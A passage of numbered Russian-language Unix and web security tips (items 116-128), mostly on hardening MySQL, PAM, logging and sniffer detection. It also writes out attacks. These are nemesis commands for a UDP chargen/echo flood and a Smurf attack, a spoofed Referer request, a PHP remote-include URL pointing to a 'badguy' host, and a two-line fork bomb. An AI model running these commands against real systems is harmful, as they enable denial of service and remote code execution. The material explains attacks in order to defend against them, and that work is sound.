116. UDP-наводнение. Наверное, еще люди помнят UDP-службы chargen - порт 19 и echo - порт 7. Утилита chargen в ответ на запрос в виде UDP-пакета выдает пакет с набором символов, а echo возвращает отправителю полученный пакет. Атака заключается в отправке пакета на 7 порт одного из компьютеров, например, echo.server.com, с подложным IP-адресом отправителя, указывающим 19 порт на другом сервере, например, chargen.server.com. Это позволит организовать замкнутый цикл обмена UDP-пакетами, отправляющимися с максимальной скоростью. Программа nemesis (http://www.packetfactory.net) позволяет создавать пакеты, в которых указан любой адрес отправителя. Например, для отправки пакета на 19 порт компьютера 10.0.0.5 от имени хоста с адресом 10.0.0.10, где в качестве порта отправителя будет указан 7 порт, достаточно ввести следующую команду. bad_guy# nemesis-udp -x echo -y CHARGEN -S 10.0.0.10 -D 10.0.0.5
Если этот пакет достигнет компьютера 10.0.0.5, то он поступить на порт 19 службы chargen, которая ответит пакетом на echo порт компьютера 10.0.0.10, в результате чего в сети возниктен UDP-наводнение. 117. С помощью предыдущей программы можно осуществить Smurf-атаку. bad_guy# nemesis-icmp -I 8 -S 192.168.0.3 -D 192.168.0.255
Таким образом, используются все хосты сети 192.168.0/24 для "наводнения" пакетами компьютера 192.168.0.3. Чтобы предотвратить Smurf-атаки, необходимо блокировать широковещательные запросы. Например, воспользоваться командой. root# echo 1 > /proc/sys/net/ipv4/icmp_ignore_broadcasts
Кроме того, можно полностью блокировать получение ping-запросов. root# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
118. Поле Referer (неправильное написание этого слова - правильно Referrer - было дано в оригинальной спецификации протокола HTTP. Но это официальный вариант, так что использовать нужно его) содержит адрес web-страницы, с которой пользователь, щелкнув на ссылку, попал на данную страницу. Изменить его несложно. user$ telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET /cgi-bin/program.cgi?name=Mark& phone=1234567& data=bad+data HTTP/1.1 Host: localhost Referer: http://www.server.com/trusted.html
Так что доверять информации поля Referer не следует. 119. С помощью специальных фрагментов данных cookie Web-сервер ведет учет истории обращений (проводится аутентификация) данного пользователя к Web-сайту. Ниже представлен пример заголовка с добавленной в него информацией cookie. user$ telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET /cgi-bin/program.cgi?name=Mark&phone=1234567&data=bad+data HTTP/1.1 HOST: localhost Set-Cookie: sessionid=EID8d78dDiqeD; expires=Tue, 30-Jan-2001 04:42:47 GMT
120. Для функций PHP-файлов, например, include() , допускается использование в виде аргументов ссылок URL. Если функция include() передает URL, то она обратится в Internet для получения значения этого аргумента. Например, рассмотрим строку файла insecure.php include("$includedir/file.php");
Кто угодно может легко установить нужное ему значение переменной $includedir . http://www.example.com/insecure.php?includedir=http://www.badguy.com/code/file.php При выполнении сценария insecure.php выполняется обращение по адресу http://www.example.com/insecure.php?includedir=http://www.badguy.com/code/file.php и запускается указанный файл. Так можно передать любой исходный код PHP на www.example.com . Для рассмотренного примера не стоит использовать переменную $includedir . Вместо этого задайте полное имя файла. include("/usr/local/apache/php_includes/file.php");
Как уже было сказано, используйте переменные $_GET , $_POST и $_REQUEST для PHP, начиная с версии 4.0 (или $HTTP_GET_VARS и $HTTP_POST_VARS ). 121. Обычно по умолчанию выполнение MySQL "ложится на плечи" пользователя root, что может иметь катастрофические последствия. Лучше создать пользователя mysql или аналогичного и производить запуск MysQL под safe_mode от имени этого пользователя, естественно, обеспечив ему доступ к каталогам базы данных MySQL и выполнение кода MySQL. Завершаем работу сервера. root# mysqladmin -p -u root shutdown
Далее предоставляем доступ к каталогам баз данных только пользователю mysql. root# chown -R mysql /home/mysql/data root# chmod -R go-rwx /home/mysql/data
Далее необходимо проверить, не находится ли сокет unix в том же каталоге данных. Это обеспечивается параметром -with-unix-socket-path. Учтите, что это задается при компиляции. Перезапускаем сервер MySQL с помощью safe_mysql, выполняемого от имени пользователя mysql. mysql$ safe_mysql -user=mysql &
В конфигурационном файле /etc/my.cnf в разделе [mysqld] можно написать строчку user=mysql , освободив себя от указания имени пользователя в параметре запуска. Удостоверьтесь, что права выставлены правильно (644), также можно выставить атрибут i (запрещение модификации и ссылок на файл). Целесообразно удалить малозначимые компоненты, включенные в установку по умолчанию. Удалить базу данных test, выключить удаленный доступ, отключить доступ без имени пользователя, задать пароль для пользователея базы данных root. Сделаем это. Подключаемся к базе данных. root# mysql -u root -p
Если у пользователя базы данных root нет пароля, параметр -p надо опустить. Итак, удаляем базу данных test. mysql> DROP DATABASE test;
MySQL хранит информациию о правах доступа и других базах данных в базе данных MySQL. Это надо немного поправить. Подключимся к базе данных и удалим из таблицы прав доступа записи, относящиеся к базе данных test. mysql> USE mysql; mysql> DELETE FROM db WHERE Db LIKE 'test%';
Теперь отменим удаленный доступ к MySQL. mysql> DELETE FROM user WHERE host='=%';
Еще удалим записи пользователей без имени. mysql> DELETE FROM user WHERE User='';
Установим пароль для пользователя root. mysql> UPDATE user SET Password = PASSWORD("fdg56yh5") WHERE User = 'root';
В конце концов перезагрузим MySQL таблицы с правами доступа, чтобы они вступили в силу mysql> FLUSH PRIVILEGES;
122. Две "убийственные" строчки, вешающие linux. #!/bin/sh $0 & $0 &
Делаем файл исполняемым (chmod 755 somefile ) и запускаем из-под стандартного пользователя. Иксы висят. Проблема еще и в том, что в большинстве "пользовательских" linux-машин для запуска данного файла достаточно на нем кликнуть мышкой. 123. Очень популярны, особенно среди начинающих взломщиков, методы взлома сайта через CGI-скрипты. Это можно отслеживать. Например, следующий скрипт имитирует phf баг. В случае попытки взлома отсылает по электронной почте письмо (в данном примере на адрес lafraia@urgentmail.com). #!/usr/bin/perl # Fake PHF v1.0 (970605) - by Daniel Lafraia (lafraia@urgentmail.com) # # Description: # Shows to a hacker that is trying to crack your system via phf, that # this CGI was not found and send a message to admin reporting # information about the attempt such as IP Address (using Proxy or not), # Host Name, Query String and finally date and time of the attempt. # # Installing: # Just copy this file to your cgi-bin directory (usually /www/cgi-bin) and # chmod it to executable. If someone try to do something like: # http://www.yoursite.com/cgi-bin/phf?hack+stuff=to+grab+things # you're going to be reported, try! Be sure that the filename is phf :))) # # Questions? Comments? Suggestions? E-mail me! :) # # Releases: # 970605 - First release # Sendmail directory $mailer='/usr/lib/sendmail'; # E-mail of person who's going to receive reports $address="lafraia@urgentmail.com"; $date=`date`; chop($date); print "Content-type: text/html "; print < File Not found The requested URL /cgi-bin/phf was not found on this server. EOM open (out, "|$mailer $address") or die "Can't write a message"; print out "To: $address "; print out "From: $address "; print out "Subject: phf report "; print out "-------------------------------------------------------- "; print out " Remote Host: $ENV{'REMOTE_HOST'}$ENV{'HTTP_X_FORWARDED_FOR'} "; print out " Remote IP: $ENV{'REMOTE_ADDR'} "; print out " Query String: $ENV{'QUERY_STRING'} "; print out " Date: $date "; print out "-------------------------------------------------------- "; print out "Best Regards, PHF Watchdog P.S. - Contact the admin of his/her provider!"; close (out); exit; 124. У стандартной утилиты login присутствует возможность увеличивать время задержки при неправильном вводе аутентификационных данных. Эта функция полезна тем, что замедляет bruteforce-атаку. Если говорить о mod_auth Apache - там этого нет. В качестве "компенсации" можно следить за лог-файлами. Ниже приведен скрипт, в реальном времени осуществляющий контроль атаки типа wwwhack. Единственное ограничение - он скорее всего не спасет, если подбор идет с нескольких компьютеров или через постоянно меняющиеся прокси. #!/usr/bin/perl -w # httprot.pl, "request for comments" version # run as: tail -f /usr/local/apache/logs/access_log | ./ httprot.pl # Configuration starts here # for "combined" apache log format, unauthorized request my $AUTH_REQ='^([^ ]+) ([^ ]+) ([^ ]+) [([^]]+)] "([^"]+)" 401'; # host ident user date request authrequired my $threshold=5; # allow $threshold unauthorized requests my $interval=5; # within $interval seconds without alerting my $syslog_facility='auth'; # when alerting, use these my $syslog_priority='alert'; # facility and priority # Configuration finishes here use strict; use Date::Parse; use Date::Format; use Sys::Syslog; my %hit=(); my %sum=(); my ($host,$date,$time,$request); openlog("httprot","pid",$syslog_facility); $SIG{INFO}=& print_hit; $SIG{ALRM}=& cleanup; alarm $interval; # main loop while(< >) { chomp; next unless /$AUTH_REQ/; $host=$1; $date=$4; $time=str2time($date); $request=$5; # $hit{$time}{$host} is number of bad requests from $host # within second numbered $time ("unixtime") if(defined($hit{$time})) { $hit{$time}{$host}++; } else { $hit{$time}{$host}=1; } # $sum{$time}{$host} is number of bad requests from $host # within last $interval sec (roughly) if(defined($sum{$host})) { $sum{$host}++; } else { $sum{$host}=1; } & block if($sum{$host}>=$threshold); } # for testing purposes: hit Ctrl-t to see current stats sub print_hit { my $rest=alarm(0); # avoid race condition with SIGALRM # and try to reduce time leak... print "Current state: "; my ($time,$host); my %list; foreach $time (keys(%hit)) { print time2str('%x %T',$time),": "; %list=%{$hit{$time}}; foreach $host (keys(%list)) { printf " $host: $hit{$time}->{$host} "; } } print "Summary: "; foreach $host (keys(%sum)) { print "$host: $sum{$host} "; } alarm($rest); # ...but will leak up to 1 second per SIGINFO } # free memory - throw away expired stats every $interval seconds sub cleanup { my ($h,$s); my %hosts; my $limit=time()-$interval; foreach $s (keys(%hit)) { if($s< $limit) { # entries older whan $limit have expired %hosts=%{$hit{$s}}; foreach $h (keys(%hosts)) { # correct sum when expiring stats $sum{$h}-=$hit{$s}->{$h}; delete $sum{$h} unless $sum{$h}>0; # free memory } delete $hit{$s}; # again, free memory } } alarm $interval; # restart timer } # site dependent action; this example is harmless sub block { syslog($syslog_priority, "$sum{$host} unauthorized requests from $host, last: $request"); }
125. Чтобы не быть захваченными врасплох, позаботьтесь о создании образцовых копий важных исполняемых файлов и библиотек Вашей операционной системы и запишите их на компакт диск. В случае компрометации компьютера можно с некоторой долей вероятности предполагать, что ранее записанные используемые программы выдают достоверную информацию. Может быть кому-то легче использовать LiveCD, только не всегда допустимо только из-за предположения выключать компьютер. Например, сравним хэш файла fstab на двух компьютерах. Для этого на заведемо нескомпрометированном (IP 192.168.0.5) компьютере откроем какой-нибудь порт (8888) Лучше, если он не требует прав root). А на скомпроментированном выполним команду root# /mnt/cdrom/md5sum /etc/fstab | /mnt/cdrom/nc 192.168.0.5 PORT -w 3
Также можно сверить хэш файла с базой данных на сайтах www.hashkeeper.org (для публичного доступа не доступен), www.nsrl.nist.gov, www.fish.com/fuck, www.knowngoods.org 126. При взломе машины (конечно абсурд, но все может быть) злоумышленник может запустить программу в background'е с целью прослушивания аутентификационных данных пользователей сети. Это выявляется простой командой ifconfig . # ifconfig -a lo0: flags=849< UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232 inet 127.0.0.1 netmask ff000000 hme0: flags=863< UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,MULTICAST> mtu 1500 inet 192.0.2.99 netmask ffffff00 broadcast 192.0.2.255 ether 8:0:20:9c:a2:98 Присутствующий во втором случае флага PROMISC свидетельствует о том, что интерфейс находится в режиме прослушивания. Для выявления снифферов можно воспользоваться программой AntiSniff (http://www.l0pht.com/antisniff/), Sentinel (http://www.packetfactory.net/Projects/sentinel/). 127. Практически во всех версиях UNIX введен "безопасный терминал". То есть можно разрешить входить в систему как root с определенных "безопасных терминалов". Например, в SunOS, таблица терминалов хранится в файле /etc/ttytab console "/usr/etc/getty std.9600" sun off secure ttya "/usr/etc/getty std.9600" unknown off secure ttyb "/usr/etc/getty std.9600" unknown off secure ttyp0 none network off secure
Слово secure в конце каждой строки, говорит о том, что данный терминал можно считать безопасным. Теперь, чтобы войти как root скорее всего придется сначала получить доступ к пользовательскому аккаунту. А дальше с помощью команды su "пробовать" залогиниться root - по умолчанию в linux это могут делать все. Чтобы запретить этот бесрпедел и разрешить использовать команду su только пользователям группы wheel необходимо в файл /etc/pam.d/su добавить строку: auth required /lib/security/pam_wheel.so use_uid
Если вы хотите, чтобы пользователи группы wheel авторизовывались без ввода пароля, добавьте строку auth sufficient /lib/security/pam_wheel.so trust use_uid
Только учтите, что для разных систем пути могу быть разными. В данном примере - это Red Hat7. 128. Можно создать файл с именем, начинающимся с символа -. В этом случае будет затруднена манипуляция с ними из консоли. Например, создадим файл, потом попытаемся прочитать его содержимое и удалить. user$ echo blah-blah >> -rty user$ cat -rty cat: ivalid option -- r Попробуйте 'cat --help' для получения более подробного описания. user$ rm -rty rm: ivalid option -- r Попробуйте 'rm --help' для получения более подробного описания. |